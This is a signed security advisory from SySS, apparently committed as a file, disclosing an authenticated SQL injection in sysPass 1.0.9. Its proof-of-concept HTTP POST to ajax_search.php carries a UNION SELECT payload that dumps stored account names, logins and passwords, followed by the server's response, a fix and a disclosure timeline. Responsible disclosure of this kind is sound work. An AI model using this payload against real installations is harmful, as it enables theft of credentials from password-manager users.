|
| 1 | +-----BEGIN PGP SIGNED MESSAGE----- |
| 2 | +Hash: SHA512 |
| 3 | + |
| 4 | +Advisory ID: SYSS-2015-031 |
| 5 | +Product: sysPass |
| 6 | +Vendor: http://cygnux.org/ |
| 7 | +Affected Version(s): 1.0.9 and below |
| 8 | +Tested Version(s): 1.0.9 |
| 9 | +Vulnerability Type: SQL Injection (CWE-89) |
| 10 | +Risk Level: High |
| 11 | +Solution Status: Fixed |
| 12 | +Vendor Notification: 2014-07-27 |
| 13 | +Solution Date: 2014-08-04 |
| 14 | +Public Disclosure: 2015-07-13 |
| 15 | +CVE Reference: Not yet assigned |
| 16 | +Author of Advisory: Daniele Salaris (SySS GmbH) |
| 17 | + |
| 18 | +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| 19 | + |
| 20 | +Overview: |
| 21 | + |
| 22 | +sysPass is an web based Password Manager written in PHP and Ajax with a |
| 23 | +built-in multiuser environment. |
| 24 | + |
| 25 | +An SQL injection vulnerability could be identified in one of the requests |
| 26 | +of this web password manager. |
| 27 | + |
| 28 | +The software manufacturer describes the web application as follows |
| 29 | +(see [1]): |
| 30 | + |
| 31 | +"sysPass is a web password manager written in PHP that allows the |
| 32 | +password management in a centralized way and in a multiuser environment. |
| 33 | +The main features are: |
| 34 | + |
| 35 | +* HTML5 and Ajax based interface |
| 36 | +* Password encryption with AES-256 CBC. |
| 37 | +* Users and groups management. |
| 38 | +* Advanced profiles management with 16 access levels. |
| 39 | +* MySQL, OpenLDAP and Active Directory authentication. |
| 40 | +* Activity alerts by email. |
| 41 | +* Accounts change history. |
| 42 | +* Accounts files management. |
| 43 | +* Inline image preview. |
| 44 | +* Multilanguage. |
| 45 | +* Links to external Wiki. |
| 46 | +* Portable backup. |
| 47 | +* Action tracking and event log. |
| 48 | +* One-step install process." |
| 49 | + |
| 50 | +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| 51 | + |
| 52 | +Vulnerability Details: |
| 53 | + |
| 54 | +The SQL injection vulnerability was found in an HTTP post request of the |
| 55 | +AJAX component from the sysPass software. |
| 56 | + |
| 57 | +The attribute getAccounts is not correctly sanitized and therefore can be |
| 58 | +abused to inject arbitrary SQL statements. |
| 59 | + |
| 60 | +This SQL injection vulnerability can be exploited by an authenticated |
| 61 | +attacker by sending a specially crafted HTTP POST request (see PoC |
| 62 | +section). |
| 63 | + |
| 64 | +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| 65 | + |
| 66 | +Proof of Concept (PoC): |
| 67 | + |
| 68 | +The following HTTP request can be used to extract information from the |
| 69 | +database: |
| 70 | + |
| 71 | +POST /sysPass-1.0.9/ajax/ajax_search.php HTTP/1.1 |
| 72 | +Host: <HOST> |
| 73 | +User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0 |
| 74 | +Accept: text/html, */*; q=0.01 |
| 75 | +Accept-Language: en-US,en;q=0.5 |
| 76 | +Accept-Encoding: gzip, deflate |
| 77 | +Content-Type: application/x-www-form-urlencoded; charset=UTF-8 |
| 78 | +X-Requested-With: XMLHttpRequest |
| 79 | +Referer: http://<HOST>/sysPass-1.0.9/index.php |
| 80 | +Content-Length: 249 |
| 81 | +Cookie: PHPSESSID=<SESSIONID> |
| 82 | +Connection: keep-alive |
| 83 | +Pragma: no-cache |
| 84 | +Cache-Control: no-cache |
| 85 | + |
| 86 | +search=getAccounts') UNION ALL SELECT NULL,NULL,account_name,account_login,account_pass,account_url,NULL,NULL,NULL,NULL,NULL from accounts -- &start=0&skey=1&sorder=1&sk=081bad3198bdb3cd29133befc57d60287541663b&is_ajax=1&customer=0&category=0&rpp=10 |
| 87 | + |
| 88 | + |
| 89 | +The server answers as followed: |
| 90 | + |
| 91 | +HTTP/1.1 200 OK |
| 92 | +Date: Fri, 10 Jul 2015 14:06:04 GMT |
| 93 | +Server: Apache/2.4.12 (Unix) PHP/5.6.10 |
| 94 | +X-Powered-By: PHP/5.6.10 |
| 95 | +Expires: Thu, 19 Nov 1981 08:52:00 GMT |
| 96 | +Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 |
| 97 | +Pragma: no-cache |
| 98 | +Set-Cookie: PHPSESSID=<SESSIONID>; path=/; HttpOnly |
| 99 | +Content-Length: 1147 |
| 100 | +Keep-Alive: timeout=5, max=100 |
| 101 | +Connection: Keep-Alive |
| 102 | +Content-Type: text/html; charset=UTF-8 |
| 103 | + |
| 104 | +<div id="data-search-header" class="data-header"><ul class="round header-grey"><li class="header-txt"><a onClick="searchSort(5,0)" |
| 105 | +title="Sort by Customer" >Customer</a></li><li class="header-txt"><a onClick="searchSort(1,0)" title="Sort by Name">Name</a><img |
| 106 | +src="imgs/sort_desc.png" class="icon" /></li><li class="header-txt"><a onClick="searchSort(2,0)" title="Sort by Category">Category</a></li><li |
| 107 | +class="header-txt"><a onClick="searchSort(3,0)" title="Sort by Username">User</a></li><li class="header-txt"><a onClick="searchSort(4,0)" |
| 108 | +title="Sort by URL / IP">URL / IP</a></li></ul></div><div id="data-search" class="data-rows"><ul><li class="cell-txt txtCliente"></li><li |
| 109 | +class="cell-txt">TEST_USER</li><li class="cell-txt">TEST_NAME</li><li class="cell-txt"><DATA></li><li |
| 110 | +class="cell-txt">TEST_URL</li><li class="cell-img"><img src="imgs/btn_group.png" title="Groups:<br><br>*<br>" /></li><li |
| 111 | +class="cell-actions round"></li></ul></div><div id="pageNav" class="round shadow"><div id="pageNavLeft">1 @ 0.00478 s |
| 112 | +<span id="txtFilterOn" class="round">Filter ON</span></div><div id="pageNavRight"> 1 / 1 </div></div> |
| 113 | + |
| 114 | +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| 115 | + |
| 116 | +Solution: |
| 117 | + |
| 118 | +Update sysPass to the latest software version. |
| 119 | + |
| 120 | +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| 121 | + |
| 122 | +Disclosure Timeline: |
| 123 | + |
| 124 | +2014-07-27: Vulnerability discovered |
| 125 | +2014-07-27: Vulnerability reported to vendor |
| 126 | +2014-08-04: Vendor releases new fixed version of sysPass |
| 127 | +2015-07-13: Public release of security advisory |
| 128 | + |
| 129 | +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| 130 | + |
| 131 | +References: |
| 132 | + |
| 133 | +[1] Web site of sysPass - sysadmin password manager |
| 134 | + http://wiki.syspass.org/en/start |
| 135 | +[2] SySS Security Advisory SYSS-2015-031 |
| 136 | + https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2015-031.txt |
| 137 | +[3] SySS Responsible Disclosure Policy |
| 138 | + https://www.syss.de/en/news/responsible-disclosure-policy/ |
| 139 | + |
| 140 | +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| 141 | + |
| 142 | +Credits: |
| 143 | + |
| 144 | +This security vulnerability was found by Daniele Salaris of the SySS GmbH. |
| 145 | + |
| 146 | +E-Mail: disclosure (at) syss.de |
| 147 | +Key fingerprint = E135 4E23 6091 A85C 9E14 577A 28DF B3A7 0A98 A9D4 |
| 148 | + |
| 149 | +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| 150 | + |
| 151 | +Disclaimer: |
| 152 | + |
| 153 | +The information provided in this security advisory is provided "as is" |
| 154 | +and without warranty of any kind. Details of this security advisory may |
| 155 | +be updated in order to provide as accurate information as possible. The |
| 156 | +latest version of this security advisory is available on the SySS Web |
| 157 | +site. |
| 158 | + |
| 159 | +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| 160 | + |
| 161 | +Copyright: |
| 162 | + |
| 163 | +Creative Commons - Attribution (by) - Version 3.0 |
| 164 | +URL: http://creativecommons.org/licenses/by/3.0/deed.en |
| 165 | + |
| 166 | +-----BEGIN PGP SIGNATURE----- |
| 167 | +Version: GnuPG v2 |
| 168 | + |
| 169 | +iQIcBAEBCgAGBQJVo3V1AAoJECjfs6cKmKnUUgQQALxneKA1L6DQmcqbCf5X1ji1 |
| 170 | +UGoSwkpdsvfMAJOeQ5IlpLKd1hYWl3NkeheD74nBZ0YoNjLc9I3uSh1u0Xi25kRu |
| 171 | +xI6RTgWNtroHRYeVN8v2qPFiABXKUxc9zdsEVNLz2PNNU4mbmzaeszrrK3XU7Z/+ |
| 172 | +dMjGvAr7b+qWMD3N+l5zSqrh4KMpnmu6XAJSKJM3az6FECsdXFKF7w2DlAr39vrP |
| 173 | +cCkXrN9ekSkEN2wuvh8O3kGQ7T9hsxHCsSGwclb4gUqAVQ4aLcoL782HQulhW3/J |
| 174 | +sMWm3s7PLo0Q10RMhdoJgGKCZfAbn9L2HfjuvXO4YznEjjp/bTwLw3DIGqNSmF3q |
| 175 | +aqFbFZxxgW45JIV9sIfa+A17Q8DZAdsZNLoEOTcznBd9S46qn/ohWhZVOIypof8y |
| 176 | +J3hVMlYYTL52kKEDR2QlVwsNzmfeyE3bmTkUjJD8STz/stQi2shDXQhFe3uJKMna |
| 177 | +gtYh/US+GbWtPvll0NLOlNT9kG+Eytsuj5dgdwMZ82JV3wCyEL6IgbhXpAAAlt9Y |
| 178 | +UQ4Zv6kNLJt2XF3Sws+DXtp5S0bdE5MrKJSa9zUjj38+YmCg+TMMRIgs6U2YGnlk |
| 179 | +JHOrIUZzveTTZ0AXIE/HXFGWnuMOEPjoZBh97y9xdUSej3Wo+knjUrarVfv8PCaG |
| 180 | +GBBy6/A3qHLaOsoxWX0i |
| 181 | +=ZrwB |
| 182 | +-----END PGP SIGNATURE----- |
0 commit comments